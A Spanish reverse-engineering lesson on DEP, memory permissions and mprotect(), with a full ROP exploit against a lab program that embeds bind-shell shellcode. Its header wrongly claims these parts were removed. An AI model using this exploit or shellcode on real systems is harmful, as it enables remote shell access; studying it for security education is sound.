Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Memoria y mitigaciones / 24

Permisos de memoria y pila ejecutable

LoberaFormación técnica24 / 33 · 4 min de lectura · Linux / Windows · x86-64
24 / 33

Interpretar los permisos de las regiones de memoria y los cambios que solicita un programa.

Consultar conceptos ↗
Edición parcial: diferencias con el original

Se excluyen la selección de gadgets, la construcción del exploit y las cargas ejecutables del original. Se conservan los mapas de memoria, la explicación de permisos y la interfaz de mprotect.

DEP y ejecución en la pila

En el post anterior de esta serie hablábamos del sistema de Prevención de Ejecución de Datos, también conocido como DEP, que se utiliza para impedir que los programas ejecuten código en el espacio de memoria de la pila. Se emplea para evitar una ejecución sencilla de shellcode tras controlar el registro RIP durante un buffer overflow.

Utilizábamos el siguiente programa de prueba:

C
#include <stdio.h>
void greet_me(){
    char name[200];
    gets(name);
    printf(Hi there %s !!\n,name);
}
int main(int argc, char *argv[]){
    greet_me();

    return 0; 
}

Y aprendimos que cuando nos encontramos con DEP (y ASLR está desactivado para nuestros casos por ahora) podemos seguir ejecutando instrucciones y controlar de algún modo el flujo de ejecución a nuestro favor apuntando RIP a direcciones que contengan instrucciones en espacios de memoria marcados como ejecutables (RWX).

Hoy vamos un paso más allá: ejecutar shellcode propio ubicado en la pila. Cuando DEP está activo, nada nos impide colocar shellcode en la pila; si hacemos que RIP apunte a nuestro shellcode, se disparará un ACCESS_VIOLATION y el programa se detendrá. Si queremos ejecutar código allí, necesitaremos activar un mecanismo para volver a hacer ejecutable la pila.

Como recordatorio, comprobemos los permisos de la pila tras compilar nuestro programa sin -execstack:

CÓDIGO / SALIDA
[0x555555554580]> dm
0x0000555555554000 # 0x0000555555555000 * usr     4K s -r-x /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._r_x
0x0000555555754000 # 0x0000555555755000 - usr     4K s -r-- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._rw
0x0000555555755000 # 0x0000555555756000 - usr     4K s -rw- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; loc.__data_start
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr   1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr     2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr    16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr     8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr     8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr   132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x555555554580]> dr rsp
0x7fffffffe0a0
[0x555555554580]> 

Lectura/escritura pero no ejecución. Ahora al compilar con el parámetro execstack:

CÓDIGO / SALIDA
[0x004007b0]> dm
0x0000000000400000 # 0x0000000000401000 * usr     4K s -r-x /home/lab/server /home/lab/server ; map.home_lab_server._r_x
0x0000000000600000 # 0x0000000000601000 - usr     4K s -r-x /home/lab/server /home/lab/server ; map.home_lab_server._rwx
0x0000000000601000 # 0x0000000000602000 - usr     4K s -rwx /home/lab/server /home/lab/server ; obj._GLOBAL_OFFSET_TABLE
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr   1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr     2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr    16K s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr     8K s -rwx /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rwx unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr     8K s -rwx unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rwx
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rwx /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rwx unk2 unk2 ; map.unk0._rwx
0x00007ffffffde000 # 0x00007ffffffff000 - usr   132K s -rwx [stack] [stack] ; map.stack_._rwx
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x004007b0]> 

Así es como lo queremos. Intentemos llegar ahí.

MPROTECT()

mprotect() modifica las protecciones de acceso de las páginas de memoria del proceso llamante que contengan cualquier parte del rango de direcciones en el intervalo [addr, addr+len-1]. addr debe estar alineada con el límite de página. En caso de éxito, mprotect() devuelve cero. En caso de error, esta llamada al sistema devuelve -1 y errno se establece para indicar el error. Es la función que vamos a utilizar para hacer ejecutable la sección de memoria relacionada con la pila.

C
#include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

Recibe tres parámetros: un puntero al inicio de la sección de memoria con la que vamos a operar, su tamaño y la operación que queremos realizar, PROT_EXEC en nuestro caso.

CÓDIGO / SALIDA
       PROT_NONE
              The memory cannot be accessed at all.

       PROT_READ
              The memory can be read.

       PROT_WRITE
              The memory can be modified.

       PROT_EXEC
              The memory can be executed.

Esos flags se pueden combinar mediante una simple suma, así que 0x7 nos daría acceso completo + ejecución a nuestra sección de memoria elegida.

Podemos comprobarlo con el siguiente programa:

C
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
void greet_me(){
    char name[200];
    gets(name);
    printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[]){
    int pagesize = sysconf(_SC_PAGE_SIZE);
    printf("Pagesize:%d\n",pagesize);
    if(mprotect(0x7ffffffde000,pagesize,0x7)==0)
    {
        printf("[i] Operation successfull\n");
        printf("[i] Memory region:  0x7ffffffe0000 to %lx has been      set to r-w-x\n",0x7ffffffe0000+pagesize);
    }
    else
        printf("[!] Operation failed\n");
    greet_me();

    return 0;  
}

Tras compilarlo y ejecutarlo veremos algo como esto:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ ./greet2
Pagesize:4096
[i] Operation successfull
[i] Memory region:  0x7ffffffe0000 to 7ffffffe1000 has been      set to r-w-x

Hi there  !!
lab@lab-VirtualBox:~/exploit-pattern$ 

En este punto resulta muy útil depurarlo con radare2, para poder identificar cómo se pasan los parámetros durante la llamada a la función e inspeccionar el mapa de memoria antes y después de la llamada:

ENSAMBLADOR / REFERENCIA
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr     8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr   132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x


|           0x5555555547e6      48bf00e0fdff.  movabs rdi, map.stack_._rw ; 0x7ffffffde000
|           0x5555555547f0      e83bfeffff     call sym.imp.mprotect
|           ;-- rip:
|           0x5555555547f5 b    85c0           test eax, eax
|       ,=< 0x5555555547f7      7535           jne 0x55555555482e
|       |   0x5555555547f9      488d3df50000.  lea rdi, qword str.i__Operation_successfull ; 0x5555555548f5 ; "[i] Operation successfull" ; const char * s
|       |   0x555555554800      e8fbfdffff     call sym.imp.puts       ; int puts(const char *s)
|       |   0x555555554805      8b45fc         mov eax, dword [local_4h]

Haciendo esto te darás cuenta de cómo los parámetros se pasan por rdi, rsi y rdx. Y de cómo nuestra sección de memoria elegida queda marcada como ejecutable tras la llamada:

CÓDIGO / SALIDA
dc
dm
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffdf000 - usr     4K s -rwx unk3 unk3 ; rdi
0x00007ffffffdf000 # 0x00007ffffffff000 - usr   128K s -rw- [stack] [stack]
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x

Eso es lo que queremos ver en nuestro exploit. Ten en cuenta que también puedes hacer cat /proc/<pid>/maps para ver los mismos mapeos de memoria que ves en radare2.

Construyendo el exploit

Volviendo a nuestro exploit, lo que sigue ya es en su mayor parte conocido. Ahora necesitamos encontrar los gadgets ROP / direcciones para llamar a mprotect, es decir, la dirección de mprotect y algunos gadgets ROP para cargar nuestros parámetros en ella. Podemos hacerlo mirando directamente las direcciones de memoria y/o localizando la dirección base de libc y haciendo llamadas relativas desde ahí, como ya vimos.

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ cat /proc/20716/maps 
555555554000-555555555000 r-xp 00000000 08:01 925278                     /home/lab/exploit-pattern/greet
555555754000-555555755000 r--p 00000000 08:01 925278                     /home/lab/exploit-pattern/greet
555555755000-555555756000 rw-p 00001000 08:01 925278                     /home/lab/exploit-pattern/greet
555555756000-555555777000 rw-p 00000000 00:00 0                          [heap]
7ffff79e2000-7ffff7bc9000 r-xp 00000000 08:01 1179648                    /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7bc9000-7ffff7dc9000 ---p 001e7000 08:01 1179648                    /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dc9000-7ffff7dcd000 r--p 001e7000 08:01 1179648                    /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dcd000-7ffff7dcf000 rw-p 001eb000 08:01 1179648                    /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dcf000-7ffff7dd3000 rw-p 00000000 00:00 0 
7ffff7dd3000-7ffff7dfc000 r-xp 00000000 08:01 1177433                    /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7fdf000-7ffff7fe1000 rw-p 00000000 00:00 0 
7ffff7ff8000-7ffff7ffb000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00029000 08:01 1177433                    /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7ffd000-7ffff7ffe000 rw-p 0002a000 08:01 1177433                    /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
lab@lab-VirtualBox:~/exploit-pattern$ 

[0x555555554580]> dm
0x0000555555554000 # 0x0000555555555000 * usr     4K s -r-x /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._r_x
0x0000555555754000 # 0x0000555555755000 - usr     4K s -r-- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._rw
0x0000555555755000 # 0x0000555555756000 - usr     4K s -rw- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; loc.__data_start
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr   1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr     2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr    16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr     8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0

[0x555555554580]> dmm~libc
0x7ffff79e2000 /lib/x86_64-linux-gnu/libc-2.27.so
[0x555555554580]> 

Encontrar mprotect es sencillo. En este punto conviene verificar que ASLR está desactivado para este tutorial.

CÓDIGO / SALIDA
[0x7fffffffdf2b]> dmi libc mprotect~ mprotect$
1206 0x0011b7e0 0x7ffff7afd7e0   WEAK   FUNC   33 mprotect

Después de encontrar mprotect(), lo siguiente es encontrar esos gadgets ROP para cargar los parámetros en ella:

CÓDIGO / SALIDA
*note that addresses may change on your machine; also if we forget to de-activate ASLR
[0x555555554580]> /R pop rdi
PROGRAM
  0x555555554288             421aff  sbb dil, dil
  0x55555555428b         0deae669cd  or eax, 0xcd69e6ea
  0x555555554290                 5f  pop rdi
  0x555555554291               776b  ja 0x5555555542fe
  0x555555554293             ca25a6  retf -0x59db

  0x555555554289               1aff  sbb bh, bh
  0x55555555428b         0deae669cd  or eax, 0xcd69e6ea
  0x555555554290                 5f  pop rdi
  0x555555554291               776b  ja 0x5555555542fe
  0x555555554293             ca25a6  retf -0x59db

  0x55555555428a       ff0deae669cd  dec dword [rip - 0x32961916]
  0x555555554290                 5f  pop rdi
  0x555555554291               776b  ja 0x5555555542fe
  0x555555554293             ca25a6  retf -0x59db

  0x555555554753                 5f  pop rdi
  0x555555554754                 c3  ret

rsi y rdx para cargar los flags:

CÓDIGO / SALIDA
LIBC: note that addresses may change on your machine; also if we forget to de-activate ASLR
  0x7ffff7dee347                 5e  pop rsi
  0x7ffff7dee348                 c3  ret

Ten en cuenta también que si no encuentras direcciones completas de pop REG / ret, no te preocupes: algunos tutoriales te mostrarán que puedes encontrar algo como pop rsi; pop r15, ret y eso también sirve; solo necesitarás añadir algo de padding extra (ej. \x90 * 8) en la pila para rellenar ese r15 y continuar hasta ret con normalidad. Al final de todo se trata de entender cómo funciona y ser capaz de adaptarse.

CÓDIGO / SALIDA
LIBC: note that addresses may change on your machine; also if we forget to de-activate ASLR
  0x7ffff7baf702                 5a  pop rdx
  0x7ffff7baf703                 c3  ret

Así que, si combinamos eso con lo que ya hemos hecho en los tutoriales anteriores, podemos construir un exploit como este:

PY
import sys
import struct

stck = lambda x : struct.pack ('<Q',x) # to cover for the little endian

nop_sled = b"\x90"*80+b"\xCC"*8 # breakpoints added for easy debugging

# Linux x86_64 87 bytes bind shell shellcode; BIND 5600 TCP
# https://www.exploit-db.com/exploits/41128
bind_shell = b"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6"
bind_shell +=b"\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97"
bind_shell +=b"\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52"
bind_shell +=b"\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58"
bind_shell +=b"\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e"
bind_shell +=b"\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48"
bind_shell +=b"\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d"
bind_shell +=b"\x3c\x24\xb0\x3b\x0f\x05"

libc_base_address = 0x7ffff79e2000 # not needed for this tutorial

rwx = 0x00007ffffffde000 # base address of the stack

# params for the mprotect() call
pop_rdi = 0x555555554753
pop_rsi = 0x7ffff7dee347
pop_rdx = 0x7ffff7b12516

# base address for the shellcode, why that position? There is no particular reason, it just fits well there
shellcode_addr=0x7fffffffdf20  # position 80 

# address of the mprotect() syscall
mprotect_virtual = 0x7ffff7afd7e0

exploit = b"\x90"* 10
exploit += nop_sled
exploit += bind_shell
exploit += b"\x41" *  (204-len(exploit)) 

exploit += b"BBBBBBBB" #RBP overwrite
exploit += b"BBBB" # stack alingment
exploit += stck(pop_rdi)
exploit += stck(rwx)
exploit += stck(pop_rsi)
exploit += stck(0x21000) # the space for the program STACK from start to end
# 0x21000 last mem address of stack - first mem address of stack
exploit += stck(pop_rdx)
exploit += stck(0x7) # full access rwx
exploit += stck(mprotect_virtual)
exploit += stck(shellcode_addr)

sys.stdout.buffer.write(exploit)

El código del exploit está bien comentado, así que es fácil de seguir. Pero en resumen: desbordamos la pila, RBP se sobrescribe con B's, ret retorna a lo que está en la cima de la pila, que es nuestro pop rdi y lo que viene después, así que nuestros parámetros se cargan en los registros rdi, rsi, rdx; entonces el último ret (pop rdx; ret) retorna a lo que está en la cima de la pila, que es la dirección de mprotect. Se llama a mprotect() con nuestros parámetros, la pila es ahora ejecutable y, de nuevo, retornamos a lo que está en la cima de la pila: ahora es un puntero a donde empieza nuestro shellcode, así que la ejecución continúa ahí y, como la pila es ahora ejecutable, nuestra bind shell se ejecuta.

La pila debería quedar así:

Comprobemos el estado de los registros tras el desbordamiento:

CÓDIGO / SALIDA
|           0x5555555546c4      90             nop
|           0x5555555546c5      c9             leave
\           0x5555555546c6      c3             ret
[0x55555555468a]> db 0x5555555546c6
[0x55555555468a]> dc
hit breakpoint at: 5555555546c6
[0x55555555468a]> dr
rax = 0x000000eb
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x000000de
r10 = 0xffffff22
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0a0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfa8
rbp = 0x4242424242424242
rip = 0x5555555546c6
rflags = 0x00000202
orax = 0xffffffffffffffff
[0x55555555468a]> 

Y también la pila:

CÓDIGO / SALIDA
[0x55555555468a]> pxq @ rsp
0x7fffffffdfa8  0x0000555555554753  0x00007ffffffde000   SGUUUU..........
0x7fffffffdfb8  0x00007ffff7dee347  0x0000000000021000   G...............
0x7fffffffdfc8  0x00007ffff7b12516  0x0000000000000007   .%..............
0x7fffffffdfd8  0x00007ffff7afd7e0  0x00007fffffffdf20   ........ .......
0x7fffffffdfe8  0x0000555555554600  0x0000000000000000   .FUUUU..........
0x7fffffffdff8  0x9bc6ed78b872ae73  0x0000555555554580   s.r.x....EUUUU..
0x7fffffffe008  0x00007fffffffe0a0  0x0000000000000000   ................


[0x55555555468a]> pd 20 @ 0x7fffffffdf20
            0x7fffffffdf20      90             nop
            0x7fffffffdf21      90             nop
            0x7fffffffdf22      90             nop
            0x7fffffffdf23      90             nop
            0x7fffffffdf24      90             nop
            0x7fffffffdf25      90             nop
            0x7fffffffdf26      90             nop
            0x7fffffffdf27      90             nop
            0x7fffffffdf28      90             nop
            0x7fffffffdf29      90             nop
            0x7fffffffdf2a      cc             int3
            0x7fffffffdf2b      cc             int3
            0x7fffffffdf2c      cc             int3
            0x7fffffffdf2d      cc             int3
            0x7fffffffdf2e      cc             int3
            0x7fffffffdf2f      cc             int3
            0x7fffffffdf30      cc             int3
            0x7fffffffdf31      cc             int3
            0x7fffffffdf32      4831c0         xor rax, rax

Como vemos, después de nuestros gadgets ROP, los parámetros están cargados y se llama a mprotect():

ENSAMBLADOR / REFERENCIA
[0x7ffff7afd7e0]> dr rsi
0x00021000
[0x7ffff7afd7e0]> dr rdx
0x00000007
[0x7ffff7afd7e0]> dr rdi
0x7ffffffde000
[0x7ffff7afd7e0]> pd 10
            ;-- rip:
            0x7ffff7afd7e0      b80a000000     mov eax, 0xa
            0x7ffff7afd7e5      0f05           syscall
            0x7ffff7afd7e7      483d01f0ffff   cmp rax, -0xfff
        ,=< 0x7ffff7afd7ed      7301           jae 0x7ffff7afd7f0
        |   0x7ffff7afd7ef      c3             ret
        `-> 0x7ffff7afd7f0      488b0d71f62c.  mov rcx, qword [0x7ffff7dcce68] ; [0x7ffff7dcce68:8]=-128
            0x7ffff7afd7f7      f7d8           neg eax
            0x7ffff7afd7f9      648901         mov dword fs:[rcx], eax
            0x7ffff7afd7fc      4883c8ff       or rax, 0xffffffffffffffff
            0x7ffff7afd800      c3             ret
[0x7ffff7afd7e0]> 

La pila no es ejecutable antes de eso, pero después sí

CÓDIGO / SALIDA
BEFORE
[0x555555554580]> dm
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr     8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr   132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x

AFTER
[0x7fffffffdf2b]> dm
x-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr    16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr     8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr     4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr     4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 * usr   132K s -rwx [stack] [stack] ; rdi
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x

Y tras mprotect() saltamos a nuestro shellcode:

CÓDIGO / SALIDA
[0x7fffffffdf2b]> pd 10
            ;-- rip:
            0x7fffffffdf2b      cc             int3
            0x7fffffffdf2c      cc             int3
            0x7fffffffdf2d      cc             int3
            0x7fffffffdf2e      cc             int3
            0x7fffffffdf2f      cc             int3
            0x7fffffffdf30      cc             int3
            0x7fffffffdf31      cc             int3
            0x7fffffffdf32      4831c0         xor rax, rax
            0x7fffffffdf35      4831d2         xor rdx, rdx
            0x7fffffffdf38      4831f6         xor rsi, rsi
[0x7fffffffdf2b]> 

Y la bind shell empieza a funcionar:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ nc 127.0.0.1 5600
ls

LICENSE.md
README.md
exploit.py

Con esto concluye esta lección.

Referencias

ch0pin blog syrion blog calling convention

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.